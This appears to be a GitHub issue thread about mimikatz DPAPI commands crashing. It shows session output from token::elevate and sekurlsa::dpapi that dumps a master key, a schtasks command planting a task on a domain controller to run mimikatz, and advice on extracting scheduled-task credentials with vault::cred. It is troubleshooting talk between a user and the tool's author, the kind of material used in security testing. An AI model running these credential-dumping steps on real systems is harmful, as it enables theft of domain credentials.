dpapi::cred crash

[edermi]

Hi,

while playing with dpapi::cred, I noticed that mimikatz is crashing on several different machines with different mimikatz versions.

Currently I'm on: Windows 2008 R2 Enterprise SP1 English (Vers. 6.1 Build 7601 SP 1) and mimikatz 2.1.1 (x64) built on Nov 6 2017 03:34:10

I'm logged in as Domain Admin on a member server and running mimikatz in an admin powershell:

mimikatz # token::elevate
Token Id  : 0
User name :
SID name  : NT AUTHORITY\SYSTEM

244     {0;000003e7} 0 D 24784          NT AUTHORITY\SYSTEM     S-1-5-18        (04g,30p)       Primary
 -> Impersonated !
 * Process Token : {0;02677b6b} 2 F 40769922    redacted\ad-eder some-redacted-sid  (16g,22p
)       Primary
 * Thread Token  : {0;000003e7} 0 D 40788860    NT AUTHORITY\SYSTEM     S-1-5-18        (04g,30p)       Impersonation (D
elegation)

mimikatz # sekurlsa::dpapi

Authentication Id : 0 ; 40336795 (00000000:02677d9b)
Session           : RemoteInteractive from 2
User Name         : ad-eder
Domain            : redacted
Logon Server      : redacted
Logon Time        : 22.11.2017 11:17:11
SID               :some-redacted-sid
         [00000000]
         * GUID      :  {7b9b89c2-5751-418d-912d-71f89500369e}
         * Time      :  22.11.2017 11:17:13
         * MasterKey :  redacted_masterkey
         * sha1(key) :  ea9227cffaa63b9728655edfe729cf01401d6ae6

As far as I understood, mimikatz remembers the MasterKey for this GUID and I can decrypt the blob.

mimikatz # dpapi::cred /in:C:\Users\ad-eder\AppData\Roaming\Microsoft\Protect\<some_sid>\7b9b89c2-5751-418d-912d-71f89500369e

Crashes unfortunately like

(I heard you like cats and memes...)

A colleague tested it on a different system (Windows 1703 Build: 15063.726 English) in a different domain with a different user with mimikatz 2.1.1 (x64) built on Apr 9 2017 23:24:20 and has the same issue

[gentilkiwi]

Hi :)

First, thank you for the meme \o/ Then:

• dpapi::masterkey is for masterkeys (%appdata%\Microsoft\Protect) ;
• dpapi::cred is for credentials files (%localappdata% / %appdata% \Microsoft\Credentials).

It's quick and dirty parsers, so I don't detect when format is not correct ;) (and my doc sucks ;)) You can view cache content with: dpapi::cache to be sure what keys are in cache or not :)

[edermi]

Hi Benjamin, thanks for your fast reply.

I tried to dump credentials from scheduled tasks as described in the wiki. What probably caused confusion is that I unfortunately do not see any file in %systemroot%\System32\config\systemprofile\AppData\Local\Microsoft\Credentials, I just verified again on a DC and a member server in my test domain (well, on another DC, there is such a file but only containing one credential while more than one scheduled task is configured). Following this Stackexchange thread I assumed that %APPDATA%\Microsoft\Protect\ contains the same data.

Do you know why I do not have dpapi blobs on some servers in the directory where they should be (despite active scheduled tasks)?

My colleague is researching on a similar subject - he also tries to obtain credentials from a scheduled task which is created and run by a privileged user, but he is not able to find the dpapi blobs.

BTW, while I'm already here: Thanks for your awesome work! =)

[gentilkiwi]

Are you sure the scheduled task is configured to run as another user ? Or maybe "only localy" (password does not need to be stored): schtasks /query /tn $kiwi /xml

Run as another user, but no password stored:

  <Principals>
    <Principal id="Author">
      <UserId>S-1-5-21-a-b-c-xxxx</UserId>
      <LogonType>S4U</LogonType>
    </Principal>

Run as another user, with password stored (can interact on the network):

  <Principals>
    <Principal id="Author">
      <UserId>S-1-5-21-a-b-c-xxxx</UserId>
      <LogonType>Password</LogonType>
    </Principal>

In all cases, you can check a credential is stored by using vault cmd: vault::cred, after elevating as SYSTEM

[edermi]

Sorry for coming back quite late..

I just made a few more experiments. Running your command gives me the following output for the XML's Principals section:

 <Principals>
   <Principal id="Author">
     <RunLevel>HighestAvailable</RunLevel>
     <UserId>NT AUTHORITY\System</UserId>
     <LogonType>S4U</LogonType>
   </Principal>
 </Principals>

So I guess there are no credentials because the task runs as SYSTEM. I created another task on a remote machine with:

PS C:\Windows\system32> schtasks /create /S <dc>.<domain> /SC DAILY /RU "ad-eder" /TN "Evil Task" /TR "C:\Temp\mimikatz_trunk\x64\mimikatz.exe"

Just for testing purposes, I logged in and changed the task to run whether the user is logged in or not and provided correct credentials - but I see the username as UserId and vault::cred is not able to extract the credentials, but vault::cred /patch works.

So, I guess SYSTEM user has simply no credentials and the tasks I tried to dump from were all running as SYSTEM...

Just out of curiosity, I have one more questions which I'm not certain about: Does vault::cred or vault::cred /patch dump credentials from scheduled tasks that run under a service user? We tried to do this to obtain the credentials of a managed service account but failed.